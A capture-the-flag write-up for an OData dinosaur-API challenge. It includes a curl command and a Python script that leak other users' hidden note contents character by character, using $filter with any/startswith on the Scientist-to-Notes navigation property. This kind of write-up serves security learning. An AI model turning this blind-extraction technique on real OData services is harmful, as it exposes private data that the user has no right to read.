Overview
The challenge serves a swagger UI allowing us to call a lot of different API methods:
Auth
----
POST /auth/login
POST /auth/register
Metadata
--------
GET /odata
GET /odata/$metadata
Dinosaur
--------
GET /odata/Dinosaur
POST /odata/Dinosaur
GET /odata/Dinosaur({key})
PUT /odata/Dinosaur({key})
DELETE /odata/Dinosaur({key})
GET /odata/Dinosaur/$count
GET /odata/Dinosaur/{key}
PUT /odata/Dinosaur/{key}
DELETE /odata/Dinosaur/{key}
Note
----
GET /odata/Note
POST /odata/Note
GET /odata/Note({key})
DELETE /odata/Note({key})
GET /odata/Note/$count
GET /odata/Note/{key}
DELETE /odata/Note/{key}
Scientist
---------
GET /odata/Scientist
GET /odata/Scientist({key})
GET /odata/Scientist/$count
GET /odata/Scientist/{key}
Most importantly, the API seems to use OData, which is basically Microsofts implementation of REST, but on crack.
It supports filtering, including connected objects, counting objects, and a lot more.
Solution
The assumption is that the flag probably resides inside of a Note objects. However, after authenticating and checking, /odata/Note and /odata/Note/$count indicate that there are no notes available, at least for our current user.
Initial idea
After playing around a bit, I found this medium post, explaining how you can use the startswith filter, in order to conditionally include fields based on their content.
I built a simple REPL script to more easily explore the API:
import requests
from rich import print
from easyrepl import REPL
URL = "https://<chall>:1337"
headers = {
"Content-Type": "application/json;odata.metadata=full;odata.streaming=true",
"Accept": "application/json;odata.metadata=full;odata.streaming=true"
}
requests.post(f"{URL}/auth/register", json={"name": "a", "password": "b"}, headers=headers)
token = requests.post(f"{URL}/auth/login", json={"name": "a", "password": "b"}, headers=headers).json()["token"]
headers["Authorization"] = f"Bearer {token}"
for line in REPL(prompt="-> "):
j = requests.get(f"{URL}/odata{line}", headers=headers)
print(f"status: {j.status_code}")
try:
print(j.json())
except:
print(j.text)
Getting the schema
Fetching /odata/$metadata reveals the relationships between the properties:
<?xml version="1.0" encoding="utf-8"?>
<edmx:Edmx Version="4.0"
xmlns:edmx="http://docs.oasis-open.org/odata/ns/edmx">
<edmx:DataServices>
<Schema Namespace="DinoData.Models"
xmlns="http://docs.oasis-open.org/odata/ns/edm">
<EntityType Name="Dinosaur">
<Key>
<PropertyRef Name="Id" />
</Key>
<Property Name="Id" Type="Edm.Int32" Nullable="false" />
<Property Name="Name" Type="Edm.String" Nullable="false" />
<Property Name="Period" Type="Edm.String" Nullable="false" />
<Property Name="Diet" Type="Edm.String" Nullable="false" />
<Property Name="LengthMeters" Type="Edm.Double" Nullable="false" />
<Property Name="WeightTons" Type="Edm.Double" Nullable="false" />
</EntityType>
<EntityType Name="Scientist">
<Key>
<PropertyRef Name="Id" />
</Key>
<Property Name="Id" Type="Edm.Int32" Nullable="false" />
<Property Name="Name" Type="Edm.String" Nullable="false" />
<Property Name="YearsExperience" Type="Edm.Int32" Nullable="false" />
<NavigationProperty Name="Notes" Type="Collection(DinoData.Models.Note)" />
</EntityType>
<EntityType Name="Note">
<Key>
<PropertyRef Name="Id" />
</Key>
<Property Name="Id" Type="Edm.Int32" Nullable="false" />
<Property Name="Content" Type="Edm.String" Nullable="false" />
<Property Name="ScientistId" Type="Edm.Int32" />
<NavigationProperty Name="Scientist" Type="DinoData.Models.Scientist">
<ReferentialConstraint Property="ScientistId" ReferencedProperty="Id" />
</NavigationProperty>
</EntityType>
</Schema>
<Schema Namespace="Default"
xmlns="http://docs.oasis-open.org/odata/ns/edm">
<EntityContainer Name="Container">
<EntitySet Name="Dinosaur" EntityType="DinoData.Models.Dinosaur" />
<EntitySet Name="Scientist" EntityType="DinoData.Models.Scientist">
<NavigationPropertyBinding Path="Notes" Target="Note" />
</EntitySet>
<EntitySet Name="Note" EntityType="DinoData.Models.Note">
<NavigationPropertyBinding Path="Scientist" Target="Scientist" />
</EntitySet>
</EntityContainer>
</Schema>
</edmx:DataServices>
</edmx:Edmx>
We can see the NavigationProperty to Note for the Scientist schema.
Abusing the relationship
This seems a lot like a chance for a blind exfiltration, if we have an endpoint that allows us to access foreign note properties. The official docs show us how to use query options:
# curl -H "Authorization: Bearer $TOKEN" \
"https://<chall>:1337/odata/Scientist/\$count?\$filter=Notes/any(d:+startswith(d/Content,+'d'))"
1
This means we can write a script to exfiltrate it:
import requests
from rich import print
URL = "https://<chall>:1337"
headers = {
"Content-Type": "application/json;odata.metadata=full;odata.streaming=true",
"Accept": "application/json;odata.metadata=full;odata.streaming=true"
}
requests.post(f"{URL}/auth/register", json={"name": "a", "password": "b"}, headers=headers)
token = requests.post(f"{URL}/auth/login", json={"name": "a", "password": "b"}, headers=headers).json()["token"]
headers["Authorization"] = f"Bearer {token}"
def attempt(guess):
s = requests.get(f"{URL}/odata/Scientist/$count?$filter=Notes/any(d: startswith(d/Content, '{guess}'))", headers=headers)
return int(s.text) > 0
charset = "_abcdefghijklmnopqrstuvwxyz1234567890{}"
known = "dach2026{" #}
while True:
for c in charset:
cur = known+c
if attempt(cur):
known=cur
print(known)
break
Flag: